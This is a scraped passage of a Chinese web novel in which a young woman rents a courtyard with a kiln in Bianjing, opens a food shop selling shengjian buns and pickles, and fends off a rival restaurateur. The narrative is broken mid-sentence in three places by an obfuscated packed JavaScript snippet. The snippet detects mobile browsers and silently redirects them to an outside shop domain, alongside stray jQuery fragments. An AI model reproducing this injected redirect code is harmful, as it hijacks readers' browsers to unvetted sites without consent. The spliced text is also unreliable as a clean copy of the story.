团娘正忙着打糍糕，赶忙擦净手，“娘子，咱去哪儿看？” “东榆林巷。”李怀珠挑眉一笑，“那儿有个带窑的院子。” “带窑的？”团娘眨巴眼，一脸不解，“那多碍事啊！垒灶台，堆放柴火都不便宜吧？” 李怀珠捏她脸颊，笑道：“可是窑不仅能烧瓷，还能烤别的东西啊。” “烤什么？”团娘更迷糊了。 李怀珠眉眼弯弯，卖关子：“……自然是新鲜玩意儿。” 团娘努力想象了一下，终究想象不出，只憨憨道：“娘子做的，定然都是好的！” 主仆二人便往马行街去。 巷口幡旗招展，人声渐闻，一转入街，喧嚣热浪便扑面而来。 这处街市虽不比马行街，可两旁店肆鳞次栉比，卖香药的、饮子的、时果的，吆喝声此起彼伏，正值晌午，木匠店前都是做手艺的汉子，那户人家就在街中段，黑漆木门缩在一家药材铺与一家银器店之间，门楣上还有昔日挂匾的痕迹。 叩门片刻，一个面带愁容的中年汉子开了门，身后跟着个絮絮叨叨的妇人。 仔细听来，二人正为这事不愉快。 “……早说了那窑留不得，你偏不听！如今好了，到手的租钱飞了，看你喝西北风去……”妇人埋怨着，“二哥儿今年就要开蒙，公婆年级又大了，看病、买药，到处都要用钱，你去挣吧！” 汉子梗着脖子：“祖上传下来的根脚，能租能卖，就是不能拆！” 见门外站着两个陌生女子，汉子收了声，“你们找谁？” 李怀珠福了一礼，“听闻贵府有处铺面欲出租，特来相看。” 那夫妇二人对视一眼，都有些意外。 妇人上下打量李怀珠，见她年纪虽轻，衣着素净，但气度从容，不似寻常小户女子，便缓了脸色，侧身引她们进去。 “娘子请看，就是这里了。” 一进门，外头的喧闹声忽然安静下来。 院子果然如那客人所说，坐北朝南一小间正房，青砖灰瓦，东厢两间略小些，可作卧房或库房，西边靠墙，立着一座陈旧的圆顶窑炉，一人多高，前头的店面不大，但胜在方正，门脸开阔，支摘窗，采光极好，且直通街面。 李怀珠里外看了一圈，心下已是满意。 这院子布局紧凑，居住、做工、售卖区域分明，那窑炉的位置也并不像想象中那么碍事，反而与西厢有段距离，留出了足够的空地，更难得的是，虽身处闹市，一墙之隔便能避开喧嚣，独得清净……这不就是人常说的，大隐隐于市？ “这铺子……娘子也瞧见了，”那汉子，姓冯，搓着手，有些赧然，“别的都好，就是这窑……祖上是靠它烧瓷起家的，虽然后来作坊迁去了别处，但这窑是根，是念想，实在不能拆。前头那位租客就是为此……” 他妻在一旁暗暗瞪他，嫌他话说得太死。 李怀珠闻言，向冯官人与冯娘子表明，只想问问能否使用。 这话一出，冯官人不由得一愣，心下猜测这娘子莫非是做瓷器营生的？但观其形貌气质，又似乎不太像。 李怀珠坦然告知，自己实是经营膳食行当的。 这下冯官人更加糊涂了——这烟熏火燎的瓷窑，如何能用来做吃食？ 但冯官人见这年轻娘子是认真的，不由与妻子对视一眼，都有些意外，又隐隐松了口气，他连忙解释，这只要不损坏窑炉，租客自然是可以使用的，他们家并无其他特别的忌讳，只是每年腊月里，需托她祭拜窑神，以尽后辈之心。 李怀珠自然应允。 事情因而谈得顺利，双方很快商定了租金，立下租契，约定三日后起租。 回到店宅务，李怀珠便开始着手准备搬迁事宜。 她本就不是家私繁重的，加之有团娘这个得力帮手，主仆二人不过忙碌了两日，便将一应物品收拾妥当，到了日子，雇来一辆驴车，载着全部家当搬进了小院。 街面人流不断，各色食肆灯火通明，映得新家门前一片光亮。 新家伊始，百事待兴。 刚来的那几天，清扫除尘，修补窗纸，添置必要的家具物什，没急着摆弄那些风雅物件，先挽起袖子彻底清扫。 院子里的杂草拔得干干净净，碎砖烂瓦归置到墙角。 东南角日光最好，土也肥润，便将一株瘦瘦长长的石榴树苗栽了下去。 “娘子，为什么种石榴呀？”团娘扶着树苗问。 “这树好活，花红果甜，寓意也好。”李怀珠画着饼，“等它长大了，夏天咱们在树下纳凉，秋天还能摘果子吃，岂不实惠？” 团娘一听还能吃果子，连连点头——长这么大，她还没吃过石榴呢。 接着收拾前店面，墙壁多年斑驳，直接裱糊素绢成本太高，也不耐油烟，便去杂货铺称了些白棉纸和糯米熬的浆糊，和团娘一起，仔仔细细将墙面裱糊一遍，挂了副淡墨山水，是从大相国寺外书画摊淘来的，虽非名家手笔，画的是远山淡影，一叶扁舟，意境倒有几分野趣。 柜台和货架请木匠修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888287|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缮，矮几是旧物市场淘换来的，腿脚有些摇晃，李怀珠寻了木楔子敲打固定，又用砂纸磨平了毛刺，椅子上面铺了几个自己做的麻色蒲团。 如此一番拾掇，小店虽无奢华之气，却胜在用心，显出几分朴实自然。 接着便是笔墨伺候，写招牌，想广告词。 李怀珠没多纠结，提起笔，在准备好的木牌上写下四个大字：李记食铺。 团娘在一旁看着，小声念出来，觉得这名字听着就亲切。 李怀珠端详着墨迹，心下也觉妥当。 这名字不花哨，眼下卖点心零嘴担得起，将来若真添了粥饭热菜，也照样撑得住门面。 至于广告词，也没弄那些虚的，只在招牌右下角添了一行小字：“应时点心，家常味道”。 如此，招牌便算成了，只待择个寻常日子，安静挂上便是。 最让李怀珠挂心的，还是那座窑。 正好这日天气晴好，她带着团娘，正式开始试窑。 先将窑内积年的浮灰仔细清扫干净，检查火道、烟囱是否通畅，取了柴薪，点燃，慢慢升温。 “娘子，这真能烤出好吃的点心？”团娘将信将疑。 “光说无用，试试便知。”李怀珠试了试窑炉的温度，拿出一篓生栗，“先烤个简单的。” 还记得从前跟着父母回老家过节，秋风一起，糖炒栗子的铁锅便在各处街角支起来了。 但那是店铺的买卖，自己家里，总喜欢用炭盆烤。 炭是红铜盆，底下垫了灰，捡十几颗围着盆沿摆一圈，火不能急，文文的，慢慢的，有人专门守在一旁，大多是等着吃的小萝卜头们，时不时用火钳拨一下。 不过李怀珠小时候更爱听栗子爆开的声响，有时一颗栗子突然炸得老高，孩子们便哄笑着去抢，那时候没有长幼区分，谁抢到就是谁的…… 李怀珠把板栗送入窑内，不一会儿，板栗外壳就泛起了油光，接着，不知是哪一颗先绽开，其他栗子便接二连三咧开嘴，是嫩黄的仁儿，取出来时，栗子烫手，忙不迭剥开一颗，壳儿“咔”应声而开。 李怀珠左手掂右手，递给团娘。 “唔！好吃！”团娘烫得直吹气，“比锅炒的香多了！” 李怀珠也吃了一个，味儿不错。 窑炉的好处就在温吞均匀的火候，密闭空间将热气留住，慢慢逼出栗子内里的甜，被炭火煨熟了的本味，而且试了这一回，才知道这窑炉虽然老旧，却很是牢靠，温度很足，保温性能很是不错。 食材无贵贱，技法无定规。 有了窑，寻常烧饼、芝麻酥饼自不在话下，那些层层起酥的“盘丝饼”、“蟹壳黄”也能一试，乃至挂炉烤鸭、窑焖饭，乃至后市令人称道的叫花鸡，老北京的京八件…… 李怀珠觉得自己捡了个大便宜——这哪是窑炉，这分明是点石成金的宝贝疙瘩！ 12. 第 12 章 理想很丰满，现实很骨感。 正准备大展身手的李怀珠，仅烤了一次栗子，第二天就被找上门来。 来的是两个穿着公服的小吏，态度倒不算恶劣，只是公事公办，询问她窑炉的情况。 才知，在汴京城里，但凡是涉及固定窑炉用火的营生，都需要在官府报备记录，纳入“潜火队”的重点观察范围，附近还需配备水井、沙堆之类的用具，像她这样不声不响就点火的，属于程序缺失。 这才恍然，古代城市管理也有其章法，尤其防火，汴京房屋密集，一旦失火后果不堪设想。 接下来的几天，她便奔波起来，填写状书，说明窑炉用途，去找里正作保，再去相关部门盖章……程序虽不比现代繁杂，但对一个初入此行的人来说，也足够让人头大。 还是一位在开封府做书吏的熟客悄悄提点她：“李娘子莫急，我听闻上头并非要为难你，只是你这用窑炉开食铺，算是头一遭，以往记录在册的不是烧瓷的就是铸铜的，潜火队和市易司的大人们得商量商量，这该归哪类，防火章程又该如何定，这才耽搁了。你且安心做生意，应当快了。” 听了这话，李怀珠送了两个青团道谢，索性将这事放一放，专心经营眼前。 食铺的招牌悄无声息挂了出去，没有鞭炮锣鼓，但熟客们口耳相传，都知道她有了门面，纷纷前来捧场。 店面里的品类也跟着增添，除了原本就受欢迎的荷叶馍、梅酒，青团子也根据时令增加了枣泥、山楂等新口味，还加了之前在大相国寺推出过的豌豆黄，吸引了一批之前没能去祈福吃斋的客人。 店里早食生意好，种类却不多，李怀珠托人打了几个厚底生铁鏊子，准备拓展新业务——生煎。 生煎，又叫“生煎馒头”，市井里活色生香的存在，不像小笼包精致秀气，反倒有几分江湖豪气，李怀珠大学时候的首选早餐。 忘了什么时候看的书，梁实秋先生写玉华台的汤包子，要把包子像被婴儿吮瘪了的□□一样，趁没有破赶快放进碟中，把其中的汤汁吸饮下肚。这般吃法，实在太过文雅。生煎包则不然——它是要用筷子架着吃的，顾不得烫，一口下去，焦脆的底子在齿间一咬，温热汤汁滋出来，慌得人连忙吮吸，对面的人连闪带躲，这种狼狈，恰是吃生煎的乐趣。 人有派别，生煎也是有的。 李怀珠前世在南方读大学，特色小食尝过许多，上海生煎一派是清水生煎，馅厚汁少，讲究个馅料紧实，肉香醇厚，一派是混水生煎，馅少汁溢，则必加皮冻，汤汁汹涌，往南一些，则有苏州生煎，相较之下口味偏甜，肉馅中糖和酱油的用量更多，汤汁也带明显的甜味。 李怀珠全然喜爱，但更偏爱其汤汁丰盈，生煎包的那一口热汤，虽不是红油，却同样叫人期待。 做生煎包，最见功夫的是煎制，平底大铁锅，淋上油，包子整齐列队，小伙慢煎，待底子微黄，便浇上面粉水，盖上锅盖，任其在里面蒸腾。 团娘很好奇，“娘子，这像是带馅馒头，可底子瞧着更焦脆，样子也更俊！” 李怀珠夹起一个，尝了，嗯，就是这个味儿。 团娘学着她的样子，一口下去，被滚热的汤汁烫得直呵气，却舍不得吐出来，赞道：“好鲜！好多汤！皮薄，底儿还脆，好吃！” 正巧有熟客来取预定的青团，见这新鲜物事，凑过来瞧稀奇，李怀珠请他尝了一个。 那食客吃得急，一口咬下，汤汁“滋”的喷出老远，险些溅到对面客人的衣袖上。 那人慌得连忙起身闪躲，却不恼反笑：“好家伙！这包子脾气不小，还会喷人！”惹得满堂哄笑。 食客自己也笑了，“对不住对不住！口急！这馒头一咬一包汤，底儿焦香，面皮松软，馅儿也鲜！李娘子，这又是什么新奇花样？何时开卖？” 既有人真心叫好，那还等什么？ 李怀珠琢磨起手头现有的食材来，试着调了五六种馅，准备试水。 荠菜鲜肉、猪肉笋丁、香菇鲜肉的，还特意做了几种纯素，像是青菜香菇馅和马兰头香干。 也没忘记答应泰安伯的事，铺子稳定下来，她便作了几样招牌点心，每样一份，又装了几盒生煎，附上一张谢帖，让团娘趁着晌午前送到了伯府，泰安伯府的管家拿着点心去了，不久回了一个锦盒，说是伯爷给的打赏。 团娘带着东西回来，打开一看，是一对招财进宝的摆件，憨态可掬，寓意吉祥。 李怀珠高高兴兴将这对金光摆件擦得锃亮，摆在了柜台，算是讨个好彩头。 当天晚上，李记食铺便推出了生煎包。 因着地段好、熟客多，加上这生煎包本身新奇美味、种类多样，刚一开卖就吸引了大量街坊和过往行人。 “给我来四个猪肉笋丁的！” “虾仁的还有没有？我家小郎君就爱吃虾子！” “这底儿煎得真脆，啧啧，香！” “……” 小小的铺面被挤得水泄不通，颇有供不应求的意思。 铺子里不时传来“哎呀”一声，接着便是笑声——准是又有人被生煎里的热汤偷袭成功了。 铺子最后一锅生煎滋滋作响，面皮雪白，底子焦黄，勾得路过的人忍不住要探个头。 李怀珠正低头给一位老主顾装盒，忽听得门口传来一道清越嗓音： “李娘子，生意兴隆啊。” 她抬头，只见谢慈与石子桓二人并肩立在门口。 谢慈依如孤松独立，石子桓笑得爽朗，手里还提着一包不知是何物的东西。 ——倒也是这些日子常有的情景。 自打铺子开起来，姓石的郎君便是常客，时不时还带三五友人来，他性子敞亮，玩笑也开得，一来二去，倒真有了几分熟客的随意，谢慈起初只是偶然同来，搭话也很有分寸，遇上这般正经的人，倒是让李怀珠颇为讪讪，生怕什么地方失了礼数。 “二位郎君，”李怀珠有些意外，旋即展颜，“熟客了，快请进。” 石子桓跨进来，将手中物事往柜台上一放，笑道：“听闻娘子铺子出了什么煎包子，紧赶慢赶，总算赶上了最后一锅。” 李怀珠玩笑道：“石郎君能来，小店自然蓬荜生辉，只是贺礼嘛……看着可不算厚重。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891349|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>石子桓被她一噎，也不恼，反而哈哈大笑，“娘子好利的嘴！这是我前日偶得的上好龙团胜雪，知道娘子非俗人，特拿来与你共品，这礼还不算有心？” 李怀珠抿唇一笑：“原来是好茶，那倒是我失言了，多谢石郎君。” 她说话时，眼波不经意间掠过一旁的谢慈。 只见他正微微垂首，唇角微扬，竟浅浅笑了。 这一笑，仿佛春冰乍融，雪岭初霁。 他本就生得极好，眉眼清隽，鼻梁细直，只是平日神色过于淡漠，如远山覆雪，叫人不敢亲近，此刻笑意虽浅，却瞬间柔化了那分冷峻，使得他整张脸都生动起来，细长的丹凤眼微挑，眸色温润，竟有几分细水流深的……清俊。 李怀珠心下腹诽，这人平日里端着不苟言笑的样子，原来笑起来这般好看，又想，果然是张脸能当饭吃，可惜性子闷了些，日后和娘子相处，怕是三棍子打不出个…… “李娘子，”谢慈忽然开口，打断了她腹诽思绪，“生意可还顺遂？” 两人目光在暖黄光影下碰触。 李怀珠全无被人抓包的窘迫，坦然然将视线偏开，落到那鏊子上，笑着应道：“国泰民安，大家也捧场，糊口不成问题。” 谢慈见她目光澄清，全无寻常女儿家的羞涩扭捏，反倒是自己，被清亮坦荡的目光一扫，莫名抬手摸了摸鼻尖，随即又觉此举有些突兀，转而理了理本就平整的衣襟。 这时，李怀珠已将两碟生煎端了上来。 “小心烫，汤汁足。”她叮嘱一句，便退到一旁，倚着柜台，看二人用餐。 石子桓夹起一个便咬，果然被汤汁烫得直抽气，却连连称赞：“鲜！香！妙极！” 谢慈则吃得斯文许多，竹筷轻轻夹起一只生煎，先小心地在皮上咬开一个小口，吹了吹，才吮吸其中汤汁。 果然人和人不能比，连吃个生煎都这般讲究，也不知这郎君是天生如此，还是时刻端着架子，不过看他举止，倒是赏心悦目。 似乎是察觉到她的注视，谢慈抬眸望来。 这一次，李怀珠没有移开目光，反而冲他扬了扬眉，似是在问“味道如何？”。 谢慈微微颔首，算是回应。 李怀珠心满意足转身，和团娘一起收拾灶台去了。 夜深人静，打烊算账。 钱匣子倒空，就着油灯，主仆二人清点钱目。 最后核对出来的数字，听得让人作舌，团娘却说可不是么，今日光是生煎包就卖出将近百个，每个定价五文，这便是半贯钱的营收，再加上荷叶馍、梅子酒，各色糕点，刨去食材、柴火、每日的租钱，这一日净赚四百余文！ 这月花项忒多，买婢女，租铺子，装修拾掇拢，共用去七八十贯钱，几乎是李怀珠的全部家底，可好在现在摇身一变成了食铺，花费多了，利润也水涨船高，一个月下来，除去本金，还能攒下不少钱。 攒上一年半载，或许真能在汴京城外置几亩薄田，买处小庄子，安安稳稳度日…… 思来想去，从城郊不起眼的庄子，想到金明池畔的红楼别邺，李怀珠恨恨想，还是有钱好啊！ 13. 第 13 章 俗话说“嚼得菜根，百事可做”，而李怀珠觉得，菜根至味，大半在坛瓮之间。 起因是李怀珠连着几日逛菜市，眼见时鲜一茬茬涌上市头，荠菜、莴苣、新蒜、胡瓜、嫩姜、雪里蕻，春天一来，菜鲜嫩又多样，价钱却比冬日里便宜许多，尤其是那些萝卜、菘菜，因品相稍次或产量太大，几乎被庄户成筐低价处理。 此时不做腌菜，更待何时？ 尚食局里，酱腌储菜是大事，多是皇室规制的酱醋腌臜，用料精贵，工序繁琐，如今出了宫门，要做的是能让寻常百姓觉得好吃，愿意花钱买来佐餐的开胃小菜。 新鲜菜蔬易腐，而盐能克之，这是千百年的生存智慧。 大周时里便有“醢人”一职，掌“五齐七菹”。东汉许慎又道，“菹者，酸菜也。——这便是咸菜酸菜的远祖了，到了北魏，做菹的法子便详详细细，有盐菹、汤菹，酿菹，坛坛罐罐，不只是为着果腹，里头已有了趣味和讲究。 到了后世，各类腌菜口味更不相同。 比如南方的腌苋菜，好之者谓其至味，恶之者掩鼻而过，再比如李怀珠喜爱的绍兴霉干菜，乌黑油亮的一把，与五花肉同蒸，肉的丰腴被它吸了去，变得醇厚不腻，菜的干韧得了油的润泽，软糯生香。 小时候的芥菜疙瘩，一层疙瘩一层粗盐，压上大青石，日子到了捞出来切丝，点几滴香油，能就着喝两碗烫嘴的棒子面粥；东北的酸菜更不必说，积菜的大缸，是多少人家的念想，热腾腾的酸菜白肉锅子，暖和又解腻，是冰天雪地里的恩物。 汴京百姓早餐多食粥、饼，她的生煎馒头虽好，但若能有清粥小菜搭配，选择更多。 且腌菹本微利厚，若能做出特色，又是一条财路。 当日，主仆二人便开始扫货。 白萝卜三十斤，胡瓜三十斤，心心念念着梅菜扣肉，芥菜要的最多，足有百十斤，又另挑了些嫩姜、新蒜和食茱萸，考虑到口味，还买了两筐雪里蕻和马兰头，打算试试南方腌法。 萝卜洗净切粗条，用盐杀去辛气，再加饴糖、米醋、茱萸粉，拌匀后封入小坛，主人家特意调整了糖醋比例，再把胡瓜对半切开，去瓤，晒至半蔫，投入用豉汁、饴糖和香料熬成的酱汁中浸泡，酱汁中加了少许橙皮，去除了豆的腥味儿，增添香气，更要密封仔细，不然有细菌进去便会发霉变质。 香咸芥丝用重盐揉搓出水，挤干后拌入茴香、小茴香和胡麻，淋上熟油封存，关键在于香料炒制的火候，香而不燥，后味可以回甘。 咸齑粗粝，没那么多讲究，李怀珠借鉴老法子，在坛口加了水封，确保发酵成醇香酸爽，另有一半腌制发酵，晒干脱水，等着做梅菜扣肉吃。 四样菹菜，口味各异，半月后启封试味。 萝卜菹酸甜脆爽；酱瓜入味，咸津津的，咬下去咔嚓作响；芥丝咸香扑鼻，咸齑酸香纯正。 “好吃！”团娘每样都喜爱，就着吃了两碗白粥，两碟生煎，嫩白的小脸也越发圆润，仍是意犹未尽，“娘子，这个萝卜菹我能空口吃半碗，咸齑配粥也好吃，酱瓜和芥菜配生煎馒头，绝配！” 李怀珠各自也尝了些。 她平日喜酸甜口，这回却觉得酱瓜最清爽，笑道，“没你觉得不好吃的！” 菹菜有了，李怀珠又推了几种寻常粥品，粟米、绿豆、小豆粥，和别的早食摊并没什么不同。 且凡买了生煎馒头和粥的顾客，李怀珠便让团娘去赠一小碟菹菜。 第一位幸运顾客老丈，得了一碟酱瓜。 他咬一口生煎，喝着粟米粥，再夹一筷子酱瓜，咀嚼几下，眼睛便眯了起来：“嗯！这瓜酱得好，咸里带甜，脆生生，配这油香的生煎和热粥，正合适！解腻！” 旁边一位带着幼子的妇人要了碗小豆粥，选了咸齑，说是配粥能提味。 娘子们却更多喜爱酸甜口的糖醋萝卜菹。 四样小菜，各有拥趸。 免费赠送的策略很快吸引了许多客人，人家原本只打算买生煎，见有菹菜送，便顺手带碗粥，一顿朝食吃得有干有稀，有荤有素。 不出几日，李记的粥菜便传开了，尤其是那几样别致的菹菜，打破了大宋人民对“咸菹”粗劣的刻板印象。 有人吃完还要问：“娘子，这菹菜可单卖？想带些回家。” 顾客的询问，李怀珠早有准备。 她前几日便去窑坊订了一批青灰陶罐，每罐约能装二斤左右，罐身素朴，只用红纸贴上品名，“李记糖醋萝卜菹”、“李记酱瓜”等，下方还有一行小字说明：“密封阴凉处，旬日后滋味更佳。” 当再有熟客询问时，李怀珠便笑着指向柜台一侧，那叠放的陶罐。 “承蒙各位喜爱，小店这几样菹菜也可整罐售卖。一罐二斤，定价八十文。买回家密封存放些时日，其味更醇。无论是佐粥，还是平日下饭，都便宜。” 八十文一罐菹菜，比起新鲜蔬菜自是贵了不少，但比起酒楼里的蜜煎、酱菜，却又显得实惠，李怀珠在门口摆了条案，将四种陶罐整齐陈列，旁边放着试吃的小碟。 有客人犹豫，便有伶牙俐齿的娘子过去介绍。 “贵有贵的道理。您尝尝，这是春天好菜好时节，慢工细作出来的。一罐能吃许久，算下来，每日不过添一两文钱，就能让餐饭有滋有味。” 客人一试，果然与记忆里难吃的腌菜天壤之别，加上李怀珠“宫中手艺”名声隐约流传，虽然心疼，但尝过那滋味后，咬牙买一罐回家佐餐、待客的，大有人在。尤其是那些讲究些的殷实人家和酒楼食馆的采买，更是成罐来买。 一罐菹菜成本约三十文，售价八十文，毛利五十文。 且制作一次可售卖多日，损耗低，又能带着一起卖粥，每日光是搭赠和零售的菹菜，利润算来着实可观。 团娘数钱数得眉开眼笑：“娘子，你这脑子是怎么长的？几样菹菜，竟也能赚这许多！” 瞧把小姑娘开心的，李怀珠笑道：“这叫做‘趁贱收贮，待缺供须’。春日菜贱，咱们便把它变成能存放的东西。大家吃个新鲜，咱们赚个巧钱。” 人红是非多，生意好了，难免引来打探。 这日，李怀珠正在洗大缸子的米豆，团娘匆匆进来：“娘子，前头来了两位生客，一直打听咱们菹菜做法，问得可细了。” 李怀珠心下了然，净了手，解下攀膊走到前店。 只见柜台前站着两位中年男子，见李怀珠出来，那位颇像钱老板的富态男子拱手笑道：“这位便是李掌柜？鄙姓胡，在城西也开着间食肆。尝了贵店的几样菹菜，风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896172|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味独特。不知掌柜的可否指点一二？” 胡掌柜面上笑呵呵，心中却在叫骂。 他城西的生意这月淡了不少，打听下来，竟是有好些老客被李记勾了来，今日过来，说是讨教，实则是来探底细——若她没什么根基，或是个软柿子，那“讨教”不成，总还有别的法子……这市井里的生意，可不全靠手艺。 李怀珠闻言，略看一眼二人，一个绿豆芝麻三角眼，一个尖嘴猴腮似螳螂，女人的第六感马上响动，嗯，来者不是善茬。 “胡掌柜谬赞了。不过是些家常手艺。说起来，这做菹的法子，还是当年偶得一位老尚食指点做的。宫中规矩大，许多方剂讲究‘传授有自’，具体香药配比、盐糖之数不敢妄传，恐失了原味，也辜负了老人家一片好意。” 她抬出“宫中规矩”堵人家的嘴。 那胡掌柜与同伴对视一眼，心底却暗啐一口，门小户的竟有这般来历？可若是真的，硬逼强索就得掂量掂量了。 但一计不成，还有另一计。 账房老赵打了个哈哈：“原来如此！是鄙人唐突了。李掌柜手艺精湛，自是得了真传。不知菹菜可否多供些货？鄙店也想进一些。” 李怀珠心中明镜似的，也跟着打太极：“承蒙胡掌柜看得起。只是小店刚起步，人手有限，眼下只够供应自家铺子，零星售卖，实在没有余力外供。” “况且胡掌柜若真有兴趣，不妨贵店也试试时令菜蔬？春日物产丰饶，只要肯花心思，总能做出来些滋味。” 嘿，这小娘子有两下子！ 胡掌柜看她一眼，三言两句，既婉拒供货，又给了自家台阶下，还顺带鼓励他自个儿研发——反正意思就是，核心配方她不会给，甭想。 见她如此，二人知道今日是讨不到便宜了，便也识趣不再多问，买了两罐菹菜，客气告辞。 一出店门，走到巷口拐角，胡掌柜脸上的笑便垮了下来。 “你怎么看？宫里秘方的话，有几分真？” 老赵道：“真假难说，但这女子话里套着话，防得严实，硬来恐怕不妥。” “那难道就干看着她抢生意？ “自然不是。” 老赵凑近些，“她这菹菜用料，无非是些萝卜、芥菜之类。咱们派人去她常拿货的菜农那儿，把这几样菜价抬高，先断她的便宜来路。若她成本涨了，要么提价客人不满，要么硬撑利润变薄。此其一。” “其二，咱们也回去试做。多试几次，未必不能摸到点边。就算味道不及，咱们卖便宜些，总有人贪那个实惠。日子还长，慢慢来。” 胡掌柜闻言脸色稍霁，点了点头：“就这么办。让她先得意几天。” 两人低声议论着，身影渐渐消失在巷子另一头。 送走这两人，团娘还没反应过什么滋味：“娘子，你真厉害！三言两语就把他们打发了。” 做生意，手艺要紧，周旋也要紧。 她们的东西好，别人自然会眼红，但也不能把路堵死，结仇不如结缘。 怎么说也是两辈子人了，李怀珠没团娘那么乐观：“今天他们空手而归，但咱们礼数到了，话也给了面子，将来或许还有打交道的时候，且等着吧。” 谁知一语成谶，几日后，这交道便又打上了。